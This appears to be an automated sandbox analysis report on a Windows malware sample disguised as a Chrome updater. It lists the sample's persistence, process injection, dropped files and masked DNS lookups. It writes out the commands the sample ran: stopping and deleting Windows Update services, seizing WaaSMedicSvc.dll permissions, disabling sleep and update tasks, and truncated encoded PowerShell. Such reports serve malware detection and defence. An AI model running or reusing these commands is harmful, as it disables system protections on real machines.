Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\googleupdatetaskmachineqc
Malicious functions
Injects code into
the following system processes:
- <SYSTEM32>\cmd.exe
- <SYSTEM32>\conhost.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Modifies file system
Creates the following files
- %ProgramFiles%\google\chrome\updater.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<File name>.exe.log
- %WINDIR%\temp\__psscriptpolicytest_3c5te0pg.xni.ps1
- %WINDIR%\temp\__psscriptpolicytest_tnnmgqpz.ck5.psm1
- %WINDIR%\temp\content\2296-2404-powershell.exe-18-50-59-994.dump
- %WINDIR%\temp\content\2296-2404-powershell.exe-18-51-00-476.dump
- %WINDIR%\temp\content\2296-2404-powershell.exe-18-51-00-746.dump
- %WINDIR%\temp\content\2296-2404-powershell.exe-18-51-01-079.dump
- %WINDIR%\temp\content\2296-2404-powershell.exe-18-51-01-714.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_dhn41ung.fzz.ps1
- %WINDIR%\temp\__psscriptpolicytest_ouqv3dlp.ejw.psm1
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-07-075.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-07-501.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-07-680.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-08-116.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-08-203.dump
- %WINDIR%\temp\__psscriptpolicytest_dglmu11b.xil.ps1
- %WINDIR%\temp\__psscriptpolicytest_orr51ky2.xny.psm1
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-08-608.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-08-684.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-08-817.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-09-068.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-09-363.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-09-534.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-09-724.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-09-777.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-09-821.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-09-874.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-09-917.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-09-975.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-10-027.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-10-630.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-10-692.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-10-741.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-10-759.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-10-794.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-10-817.dump
- %WINDIR%\temp\content\1776-3340-powershell.exe-18-51-10-895.dump
- %ProgramFiles%\google\libs\wr64.sys
Deletes following files that it created itself
- %WINDIR%\temp\__psscriptpolicytest_3c5te0pg.xni.ps1
- %WINDIR%\temp\__psscriptpolicytest_tnnmgqpz.ck5.psm1
- %WINDIR%\temp\__psscriptpolicytest_dhn41ung.fzz.ps1
- %WINDIR%\temp\__psscriptpolicytest_ouqv3dlp.ejw.psm1
- %WINDIR%\temp\__psscriptpolicytest_dglmu11b.xil.ps1
- %WINDIR%\temp\__psscriptpolicytest_orr51ky2.xny.psm1
Moves the following system files
- from <SYSTEM32>\waasmedicsvc.dll to <SYSTEM32>\waasmedicsvc_bak.dll
Network activity
UDP
- DNS ASK fi#####.###tings.services.mozilla.com
- DNS ASK eu.###hvault.pro
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%ProgramFiles%\google\chrome\updater.exe'
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGkAeABkAG0AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBwAGMAaAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwA...
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>\WaaSMedicSvc.dll
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGgAaABpACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUA...
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGwAcQBlAHYAIwA+ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUA...
- '<SYSTEM32>\cmd.exe' xxosivzpbd0 6E3sjfZq2rJQaxvLPmXgsPI76qLNT565cLxW6HzcCEpPRP+7FtRW5JsIVN/WeDnlOB3KJCt02HN7l2za3ekmiy0/m1cCAC681n2xalzVXBLBF4fuZG+lS677tZHt6vRDLnTwBOtB/4VLbv7y+KMSyIg9DacAaTy7na6LLI/u+LaEKHEDB9TRI...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGkAeABkAG0AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBwAGMAaAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwA...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGgAaABpACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUA...' (with hidden window)
